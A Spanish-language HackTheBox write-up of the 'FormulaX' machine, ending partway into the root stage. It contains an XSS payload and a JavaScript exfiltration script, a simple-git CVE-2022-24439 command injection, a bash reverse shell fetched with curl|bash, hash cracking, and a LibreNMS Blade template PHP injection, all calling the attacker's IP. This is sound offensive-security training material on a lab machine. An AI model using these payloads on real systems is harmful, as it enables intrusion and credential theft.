FormulaX – HackTheBox Link to heading

  • OS: Linux
  • Difficulty/Dificultad: Hard / Difícil
  • Platform/Plataforma: HackTheBox

‘FormulaX’ Avatar


Resumen Link to heading

FormulaX es una máquina de dificultad Difícil, basada en Linux, de la plataforma HackTheBox. Luego de un escaneo inicial, vemos que el servidor víctima está corriendo un servicio web. Esta página nos permite crear un usuario en ella. Luego de crearlo, vemos que un formulario de “Contact Us” es vulnerable a Cross Site Scripting (XSS), el cual nos permite descubrir un nuevo subdominio/virtual host. Este nuevo subdominio está corriendo una versión vulnerable de simple-git, catalogada como CVE-2022-24439, la cual permite ejecución remota de comandos con lo que podemos ganar acceso inicial a la máquina víctima. Una vez dentro, vemos que la máquina víctima está utilizando una base de datos MongoDB. Dentro de ésta, somos capaces de extraer usuarios y sus hashes de contraseñas; para luego ser capaces de crackear una de ellas por buerza bruta utilizando el diccionario rockyou.txt. Obtenemos entonces credenciales para un primer usuario, el cual es capaz de ingresar a la máquina víctima por medio de SSH. Una vez dentro como este nuevo usuario, vemos que la máquina está corriendo LibreNMS y que nuestro usuario es capaz de agregar un usuario “admin” dentro del portal de LibreNMS. Ya dentro del portal LibreNMS con un usuario que hemos creado, somos capaces de inyectar código PHP y conectarnos como el usuario que estaba corriendo el servicio LibreNMS; este usuario tiene acceso a archivos .env los cuales filtran la contraseña de un segundo usuario. Este segundo usuario puede inicializar el servicio Libre Office dentro de la máquina, el cual puede ser abusado para escalar privilegios y convertirse en root.


User / Usuario Link to heading

Empezando con un scan conNmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.6 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 20:10 -04
Nmap scan report for 10.10.11.6
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
|_  256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-cors: GET POST
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

Visitando http://10.10.11.6 muestra una simple página web:

FormulaX 1

Si nos creamos un usuario en la página web, ahora podemos ver un botón que dice Chat Now. Clickeando en éste redirige a http://10.10.11.6/restricted/chat.html. El sitio, aparentemente, presenta un chatbot similar a ChatGPT, pero en una versión ultra-alpha. Podemos interactuar con el bot de esta página y “hablar” con él. No obstante, éste sólo acepta comandos fijos como help o history:

FormulaX 2

En la Home Page del sitio web (http://10.10.11.6/restricted/home.html) podemos ver un botón de Contact Us (contacto). Clickeando en éste redirige a http://10.10.11.6/restricted/contact_us.html, el cual muestra un nuevo formulario que puede ser rellenado:

FormulaX 3

Decido rellenar este formulario hasta obtener algo. Para ello empiezo un listener con netcat en el puerto 8080. Una data que me retorna algo a mi listener es:

FormulaX 4

De manera que, como body del mensaje, pasamos el payload:

<img src='http://10.10.16.2:8080/test'>

donde 10.10.16.2 es mi IP de atacante.

Luego de unos segundos de enviar el payload, obtengo algo en mi listener con netcat:

❯ nc -lvnp 8080

listening on [any] 8080 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 34080
GET /test HTTP/1.1
Host: 10.10.16.2:8080
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/113.0.5672.63 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://chatbot.htb/
Accept-Encoding: gzip, deflate

de manera que el servidor está tratando de obtener un recurso. Encontramos entonces que este formulario es vulnerable a Cross Site Scripting (XSS). Y de allí el nombre de la máquina (los cuales siempre dan una pista de cómo resolverla): FormulaX -> Formulario vulnerable a XSS.

Noto además que, si aceptamos múltiples request en un servidor Python HTTP en el mismo puerto que envía el payload (8080), al poner una petición maliciosa en la página de Contact Us ésta no sólo nos está solicitando un recurso, sino que nos está haciendo múltiples peticiones:

❯ python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.6 - - [21/May/2024 20:54:16] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:16] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:20] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:20] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:22] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:22] "GET /test HTTP/1.1" 404 -
10.10.11.6 - - [21/May/2024 20:54:26] code 404, message File not found
10.10.11.6 - - [21/May/2024 20:54:26] "GET /test HTTP/1.1" 404 -

Ahora bien, la parte realmente difícil de esta máquina es cómo leer la data que nos está enviando el servidor víctima. Necesitamos, de alguna manera, “emular” los endpoints que el servidor web está solicitando y así poder leer la data enviada desde el servidor. Para esto empezamos a mirar por archivos HTML y JavaScript (.js) en el directorio /restricted con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.6/restricted -t 55 -x html,js

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.6/restricted
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.html           (Status: 200) [Size: 46]
/home.html            (Status: 200) [Size: 46]
/contact_us.html      (Status: 200) [Size: 46]
/contact_us.js        (Status: 200) [Size: 1057]
/Home.html            (Status: 200) [Size: 46]
/chat.html            (Status: 200) [Size: 46]
/chat.js              (Status: 200) [Size: 1491]
/About.html           (Status: 200) [Size: 46]
/Contact_Us.html      (Status: 200) [Size: 46]
/Chat.html            (Status: 200) [Size: 46]
/HOME.html            (Status: 200) [Size: 46]
/Contact_us.html      (Status: 200) [Size: 46]
/changePassword.html  (Status: 200) [Size: 46]
/changepassword.html  (Status: 200) [Size: 46]
/changepassword.js    (Status: 200) [Size: 1084]
/ABOUT.html           (Status: 200) [Size: 46]
/ChangePassword.html  (Status: 200) [Size: 46]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================

donde encontramos algunos archivos .js que pueden ser de interés.

Analizando http://10.10.11.6/restricted/contact_us.js muestra el código que permite el payload de XSS:

// A function that handles the submit request of the user
const handleRequest = async () => {
    try {
        const first_name = await document.getElementById('first_name').value
        const last_name = await document.getElementById('last_name').value
        const message = await document.getElementById('message').value
        axios.post(`/user/api/contact_us`, {
            "first_name": first_name,
            "last_name": last_name,
            "message": message
        }).then((response) => {
            try {
            document.getElementById('first_name').value = ""
            document.getElementById('last_name').value = ""
            document.getElementById('message').value = ""
            // here we are gonna show the error
            document.getElementById('error').innerHTML = response.data.Message
            } catch (err) {
                alert("Something went Wrong")
            }
        })
    } catch {
        document.getElementById('error').innerHTML = "Something went Wrong"
    }
}

y revisando el archivo /restricted/chat.js:

let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});


//listening for the messages
socket.on('message', (my_message) => {

  //console.log("Received From Server: " + my_message)
  Show_messages_on_screen_of_Server(my_message)

})


const typing_chat = () => {
  value = document.getElementById('user_message').value
  if (value) {
    // sending the  messages to the server
    socket.emit('client_message', value)
    Show_messages_on_screen_of_Client(value);
    // here we will do out socket things..
    document.getElementById('user_message').value = ""
  }
  else {
    alert("Cannot send Empty Messages");
  }

}
function htmlEncode(str) {
  return String(str).replace(/[^\w. ]/gi, function (c) {
    return '&#' + c.charCodeAt(0) + ';';
  });
}

const Show_messages_on_screen_of_Server = (value) => {


  const div = document.createElement('div');
  div.classList.add('container')
  div.innerHTML = `  
  <h2>&#129302;  </h2>
    <p>${value}</p>
  `
  document.getElementById('big_container').appendChild(div)
}
// send the input to the chat forum
const Show_messages_on_screen_of_Client = (value) => {
  value = htmlEncode(value)

  const div = document.createElement('div');
  div.classList.add('container')
  div.classList.add('darker')
  div.innerHTML = `  
  <h2>&#129302;  </h2>
      <p>${value}</p>
  `
  document.getElementById('big_container').appendChild(div)
}

tenemos cómo se procesan los mensajes para el bot.

El segundo script, chat.js, se ve interesante dado que está haciendo una petición al endpoint API /user/api/chat. Adicionalmente, si interceptamos con Burpsuite qué es lo que envía la petición al servidor víctima cuando le damos una orden al bot de la página web tenemos lo siguiente:

GET /socket.io/?EIO=4&transport=polling&t=O-U2x4Z HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Referer: http://10.10.11.6/restricted/chat.html
Cookie: authorization=Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjRkNTJhOTY2Nzg2M2QwYTNmYjhkMDYiLCJpYXQiOjE3MTYzNDM0NzV9._-XmykICwd7YdKAVfT9NyuKr64XofXHrFc5VqXH3fyw

donde veo que realiza una petición al directorio /socket.io.

Buscando por What is socket.io? (¿qué es socket.io?) en Google tenemos:

Información
Socket.IO is a library that enables low-latency, bidirectional and event-based communication between a client and a server.
donde, básicamente, Socket.IO es un programa para “mediar” entre el frontend y el backend del servidor.

De la documentación de Socket.io, en el ejemplo de un archivo index.html, podemos ver que está haciendo una petición al archivo ubicado en: /socket.io/socket.io.js.

Podemos verificar que este archivo existe en el servidor web http://10.10.11.6/socket.io/socket.io.js usando cURL:

❯ curl -s http://10.10.11.6/socket.io/socket.io.js | head

/*!
 * Socket.IO v4.7.1
 * (c) 2014-2023 Guillermo Rauch
 * Released under the MIT License.
 */
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
  typeof define === 'function' && define.amd ? define(factory) :
  (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.io = factory());
})(this, (function () { 'use strict';

Con toda esta data recolectada podemos entonces de leer la data del servidor. Para ello creamos un script malicioso de JavaScript el cual recibe el mensaje del servidor y lo encodea a base64; todo esto basándonos en el código original del archivo chat.js hallado previamente:

const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';

document.head.appendChild(script);

script.addEventListener('load', function() {
    const res = axios.get(`/user/api/chat`);
    const socket = io('/',{withCredentials:true});
    socket.on('message', (my_message) => {
    fetch("http://10.10.16.2:8000/?d=" + btoa(my_message))
});

socket.emit('client_message', 'history');
});

y guardamos este archivo como exploit.js.

Empiezo otro servidor Python HTTP, pero ahora en el puerto 8000 donde se encuentra ubicado el archivo exploit.js:

❯ ls && python3 -m http.server 8000

exploit.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En la página web de la máquina víctima, vuelvo a la página de Contact Us, relleno el formulario, y antes de enviarlo intercepto la petición con Burpsuite. Envío esta petición al Repeater (Ctrl+R). Luego, envío la siguiente petición HTTP con Burpsuite:

POST /user/api/contact_us HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 168
Origin: http://10.10.11.6
DNT: 1
Connection: close
Referer: http://10.10.11.6/restricted/contact_us.html
Cookie: authorization=Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NjRkNTVmZjY2Nzg2M2QwYTNmYjk0OTgiLCJpYXQiOjE3MTYzNDQzMzh9.Luv5ZIi-x48Bwf1cTRpJD2KQSwqGOeO-g0jwxtfj-Rk

{
"first_name":"John",
"last_name":"Wick",
"message":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.2:8000/exploit.js'\">"
}

donde, de nuevo, 10.10.16.2 es mi IP de atacante. Aquí la parte importante se encuentra en el parámetro message, dado que lleva el payload basado en la estructura del archivo chat.js.

Advertencia
Noto que en el último request la cookie ha cambiado. Esto porque me doy cuenta de que el usuario que nos habíamos creado previamente ya no existe; de manera que éste pudo haber sido removido del sistema. Es posible que nos tengamos que volver a crear un usuario.

Luego de enviar el payload, obtengo algo en mi servidor temporal:

❯ ls && python3 -m http.server 8000

exploit.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.6 - - [21/May/2024 22:19:52] "GET /exploit.js HTTP/1.1" 200 -
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= HTTP/1.1" 501 -
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== HTTP/1.1" 501 -
10.10.11.6 - - [21/May/2024 22:19:52] code 501, message Unsupported method ('OPTIONS')
10.10.11.6 - - [21/May/2024 22:19:52] "OPTIONS /?d=R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= HTTP/1.1" 501 -

Decodeando estos mensajes, tenemos:

❯ echo -n 'SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg==' | base64 -d

Hello, I am Admin.Testing the Chat Application%

❯ echo -n 'V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk=' | base64 -d

Write a script for  dev-git-auto-update.chatbot.htb to work properly%

❯ echo -n 'V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl' | base64 -d

Write a script to automate the auto-update%

❯ echo -n 'TWVzc2FnZSBTZW50Ojxicj5oaXN0b3J5' | base64 -d

Message Sent:<br>history

De aquí puedo ver un nuevo subdominio: dev-git-auto-update.chatbot.htb. Decido agregar este nuevo subdominio a mi archivo /etc/hosts:

❯ echo '10.10.11.6 dev-git-auto-update.chatbot.htb' | sudo tee -a /etc/hosts

Visitando http://dev-git-auto-update.chatbot.htb muestra una nueva página:

FormulaX 5

donde, en la parte inferior de ésta, puedo leer el texto Made with ❤ by Chatbot Using simple-git v3.14.

Bucando por exploits de simple-git para esta versión encontramos este Issue en Github, basado en este reporte la cual también provee un Proof of Concept de una vulnerabilidad catalogada como CVE-2022-24439. Esta vulnerabilidad nos permite un Remote Code Execution (ejecución remota de comandos). Básicamente, basados en el PoC dado, podríamos intentar:

ext::sh -c touch% /tmp/pwned

para crear un archivo llamado /tmp/pwned en la máquina víctima.

  • Podemos adaptar el PoC. Para ello crearé un archivo llamado rev.sh en mi máquina de atacante con el contenido:
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'

donde, de nuevo, 10.10.16.2 es mi IP de atacante y 443 es el puerto en el cual me pondré en escucha con nc. Además, el asigno permisos de ejecución con chmod +x rev.sh. Expongo este archivo seteando nuevamente un servidor Python HTTP en el puerto 8000 (python3 -m http.server 8000) y corro en la página que se encuentra en desarrollo http://dev-git-auto-update.chatbot.htb el comando:

ext::sh -c curl% http://10.10.16.2/rev.sh|bash

Donde antes de pasar el comando, empiezo un listener con netcat en el puerto 443. Paso entonces el comando en la página web como se muestra a continuación:

FormulaX 6

y obtengo una shell como www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 38452
bash: cannot set terminal process group (1164): Inappropriate ioctl for device
bash: no job control in this shell
www-data@formulax:~/git-auto-update$ whoami

whoami
www-data

Revisando por puertos internos abiertos en la máquina víctima, noto que el puerto 27017 está expuesto luego de correr:

www-data@formulax:~/git-auto-update$ ss -ntlp

State         Recv-Q        Send-Q               Local Address:Port                 Peer Address:Port        Process
LISTEN        0             511                        0.0.0.0:80                        0.0.0.0:*            users:(("nginx",pid=954,fd=7),("nginx",pid=953,fd=7))
LISTEN        0             511                      127.0.0.1:8081                      0.0.0.0:*            users:(("node /var/www/g",pid=1164,fd=20))
LISTEN        0             511                      127.0.0.1:8082                      0.0.0.0:*            users:(("node /var/www/a",pid=1163,fd=19))
LISTEN        0             4096                 127.0.0.53%lo:53                        0.0.0.0:*
LISTEN        0             128                        0.0.0.0:22                        0.0.0.0:*
LISTEN        0             511                      127.0.0.1:3000                      0.0.0.0:*            users:(("nginx",pid=954,fd=6),("nginx",pid=953,fd=6))
LISTEN        0             511                      127.0.0.1:8000                      0.0.0.0:*
LISTEN        0             10                       127.0.0.1:46465                     0.0.0.0:*            users:(("chrome",pid=1263,fd=45))
LISTEN        0             4096                     127.0.0.1:27017                     0.0.0.0:*
LISTEN        0             80                       127.0.0.1:3306                      0.0.0.0:*
LISTEN        0             128                           [::]:22                           [::]:*

el cual es el puerto por defecto para MongoDB. Podemos interactuar con la base de datos corriendo el comando mongo --shell:

www-data@formulax:~/git-auto-update$ mongo --shell

MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("d6df1c53-2af2-4f5d-8b1e-e9fb5c903c56") }
MongoDB server version: 4.4.8
type "help" for help
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
        https://docs.mongodb.com/
Questions? Try the MongoDB Developer Community Forums
        https://community.mongodb.com
---
The server generated these startup warnings when booting:
        2024-05-20T18:10:37.949+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
        2024-05-20T18:10:40.991+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
>

Una vez dentro, puedo ver una database llamada testing, con una tabla llamada users. Si vemos qué es lo que ésta contiene tenemos:

> use testing
 
switched to db testing

> show tables

messages
users

> db.users.find().pretty()

{
        "_id" : ObjectId("648874de313b8717284f457c"),
        "name" : "admin",
        "email" : "admin@chatbot.htb",
        "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.",
        "terms" : true,
        "value" : true,
        "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTYzNDY5MDN9.LAXwL7wyyZ4mniyMYHIZ0mGr4c6uCCxZBd5Hd7XBiWo",
        "__v" : 0
}
{
        "_id" : ObjectId("648874de313b8717284f457d"),
        "name" : "frank_dorky",
        "email" : "frank_dorky@chatbot.htb",
        "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6",
        "terms" : true,
        "value" : true,
        "authorization_token" : " ",
        "__v" : 0
}

Aquí puedo ver 2 usuarios con su hash de contraseña: admin y frank_dorky

Noto que el usuario frank_dorky existe en la máquina víctima:

www-data@formulax:~/git-auto-update$ ls /home

frank_dorky  kai_relay

Guardo ambos hashes en un archivo llamado found_hashes:

❯ cat found_hashes

admin:$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.
frank_dorky:$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6

y trato de crackearlos a través de un Brute Force Password Cracking usando JohnTheRipper (john) junto con el diccionario rockyou.txt.

Encontramos una password para el usuario frank_dorky:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt found_hashes

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (frank_dorky)
1g 0:00:13:45 1.01% (ETA: 21:46:18) 0.001210g/s 208.0p/s 211.5c/s 211.5C/s gamita..fugitiva
Use the "--show" option to display all of the cracked passwords reliably

Tenemos credenciales: frank_dorky:manchesterunited.

Reviso si me puedo conectar con estas credenciales a través de SSH con la herramienta NetExec:

❯ netexec ssh 10.10.11.6 -u 'frank_dorky' -p 'manchesterunited'

SSH         10.10.11.6      22     10.10.11.6       [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH         10.10.11.6      22     10.10.11.6       [+] frank_dorky:manchesterunited  (non root) Linux - Shell access!

y funcionan.

Así que nos logueamos vía SSH como el usuario frank_dorky y obtenemos la flag de usuario:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no frank_dorky@10.10.11.6

Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Mar  5 10:19:47 2024 from 10.10.14.23
frank_dorky@formulax:~$ ls

user.txt

Root Link to heading

De los puertos internos abiertos, recuerdo que el puerto 3000 estaba expuesto:

frank_dorky@formulax:~$ ss -ntlp | grep "3000"

LISTEN 0      511        127.0.0.1:3000       0.0.0.0:*

Usando cURL contra nuestro localhost podemos ver que, en efecto, se trata de un sitio web:

frank_dorky@formulax:~$ curl -s http://localhost:3000

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://localhost:3000/login'" />

        <title>Redirecting to http://localhost:3000/login</title>
    </head>
    <body>
        Redirecting to <a href="http://localhost:3000/login">http://localhost:3000/login</a>.
    </body>
</html>

Dado que tenemos acceso por medio de SSH, trataré de performar un Local Port Forwarding para ganar acceso al puerto interno al cual no tenemos acceso. Para esto, convertiré el puerto 3000 de la máquina víctima en el puerto 1234 de mi máquina de atacante. Para ello salgo de la sesión de SSH y me vuelvo a reloguear, pero esta vez corriendo:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 1234:localhost:3000 frank_dorky@10.10.11.6

Ahora, en un browser de internet como Firefox, podemos visitar http://localhost:1234 y ver un nuevo panel de login:

FormulaX 7

el cual está corriendo LibreNMS. Googleando What is LibreNMS tenemos:

Información
LibreNMS is a fully featured network monitoring system that provides a wealth of features and device support. LibreNMS can be used to monitor a wide range of features, including support for a variety of protocols, performance monitoring, alerts, and more.
En resumen, LibreNMS es una herramienta para monitoreo.

Buscando por librenms en la máquina víctima desde nuestra sesión por SSH obtenemos 3 directorios:

frank_dorky@formulax:~$ find / -name "librenms" 2>/dev/null

/var/lib/mysql/librenms
/etc/logrotate.d/librenms
/opt/librenms

Si buscamos cómo agregar usuarios a este servicio, encontramos este foro de la comunidad el cual lo explica. Dentro de uno de estos directorios debería de existir un archivo adduser.php el cual nos permite agregar usuarios. Es así como encuentro:

frank_dorky@formulax:/opt/librenms$ ls -la /opt/librenms/adduser.php

-rwxr-xr-x 1 librenms librenms 956 Oct 18  2022 /opt/librenms/adduser.php

del cual tenemos permisos de ejecución.

Corriendo este archivo tenemos:

frank_dorky@formulax:/opt/librenms$ /opt/librenms/adduser.php

Add User Tool
Usage: ./adduser.php <username> <password> <level 1-10> [email]

de manera que crearé un usuario con rol admin llamado gunzf0x con nivel (level) 10 (dado que, como se explica en el post del foro, 10 significa rol de admin):

frank_dorky@formulax:/opt/librenms$ /opt/librenms/adduser.php gunzf0x gunzf0x123 10 gunzf0x@gunzf0x.htb

User gunzf0x added successfully

Podemos entonces acceder al panel usando las credenciales gunzf0x:gunzf0x123 (o con el usuario que hayamos agregado). Ahora vemos lo siguiente:

FormulaX 8

Yendo a Gadget Symbol a un costado de mi nombre de usuario, luego a Validate Config y yendo hacia la parte inferior de la página web, puedo ver un error:

FormulaX 9

FAIL: server_name is set incorrectly for your webserver, update your webserver config. localhost librenms.com

Para tratar de arreglar esto, agrego librenms.com temporalmente como localhost a mi archivo /etc/hosts:

❯ echo "127.0.0.1 librenms.com" | sudo tee -a /etc/hosts

Ahora, puedo visitar http://librenms.com:1234e ir a Validate Config de nuevo. Pero ahora tengo un nuevo error:

FormulaX 10

FAIL: base_url is not set correctly

Luego de algunos momentos de pánico me di cuenta de que básicamente este error se debe al puerto que hemos seleccionado al hacer el paso de Local Port Forwarding: La máquina víctima estaba corriendo LibreNMS en el puerto 3000, pero yo lo configuré en mi puerto 1234 y, en este caso, ello está causando un conflicto.

Termino con la conexión de SSH con la cual había establecido el túnel, y ahora convierto mi puerto 3000 en el puerto 3000 de la máquina víctima.

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 3000:localhost:3000 frank_dorky@10.10.11.6

Re-visitando http://librenms.com:3000/validate ya no muestra errores esta vez (uff):

FormulaX

Ahora, yendo a Alert -> Alert Templates nos permite crear un nuevo template. Clickeando en Create new alert template desplega una nueva ventana. Buscando cómo agregar templates a LibreNMS vemos que somos capaces de agregar templates usando PHP. Luego de una breve investigación, descubro que LibreNMS usa Blade, un engine de templates incluido en Laravel. Siguiendo este simple ejemplo de cómo agregar templates en Blade es que podemos agregar un template malicioso:

FormulaX 12

de donde hemos agregado una pequeña porción de código PHP:

@php
system('curl http://10.10.16.2:8000/rev.sh|bash')
@endphp

En mi máquina de atacante comienzo, de nuevo, un servidor Python HTTP en el puerto 8000 donde el archivo rev.sh estaba localizado (el mismo archivo que habíamos utilizado antes para ganar acceso inicial a la máquina como el usuario www-data), y empiezo un listener con netcat en el puerto 443. Luego, clickeo en Create Template en la página de LibreNMS. Luego de realizar esto obtengo una shell como el usuario librenms:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.6] 52348
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
librenms@formulax:~$ whoami

whoami
librenms

La ventaja de este nuevo usuario es que puede leer archivos en el directorio /opt/librenms. Allí puedo ver un archivo .custom.env:

librenms@formulax:~$ ls -la /opt/librenms

ls -la /opt/librenms
total 5216
drwxrwx--x   27 librenms librenms    4096 Feb 19 13:33 .
drwxr-xr-x    3 root     root        4096 Feb 16 15:21 ..
lrwxrwxrwx    1 root     root           9 Feb 19 13:33 .bash_history -> /dev/null
drwxrwxr-x    4 librenms librenms    4096 Feb 16 15:21 .cache
-rw-r--r--    1 librenms librenms     815 Oct 18  2022 .codeclimate.yml
drwxrwxr-x    3 librenms librenms    4096 Feb 16 15:21 .config
-rw-rw-r--    1 librenms librenms     353 Sep  7  2023 .custom.env
-rw-r--r--    1 librenms librenms     258 Oct 18  2022 .editorconfig
-rw-r--r--    1 librenms librenms      73 Oct 18  2022 .env.example
-rw-r--r--    1 librenms librenms     197 Oct 18  2022 .env.travis
<SNIP>

librenms@formulax:~$ cat /opt/librenms/.custom.env

cat /opt/librenms/.custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=

DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX

#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ

de donde puedo ver un usuario y contraseña. De manera que tenemos nuevas credenciales para jugar kai_relay:mychemicalformulaX.

Reviso si nos podemos loguear via SSH como el usuario kai_relay con estas credenciales:

❯ netexec ssh 10.10.11.6 -u 'kai_relay' -p 'mychemicalformulaX'

SSH         10.10.11.6      22     10.10.11.6       [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH         10.10.11.6      22     10.10.11.6       [*] Current user: 'kai_relay' was in 'sudo' group, please try '--sudo-check' to check if user can run sudo shell
SSH         10.10.11.6      22     10.10.11.6       [+] kai_relay:mychemicalformulaX  (non root) Linux - Shell access!

y podemos.

Nos conectamos como el usuario kai_relay por medio de SSH:

❯ sshpass -p 'mychemicalformulaX' ssh -o stricthostkeychecking=no kai_relay@10.10.11.6

Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
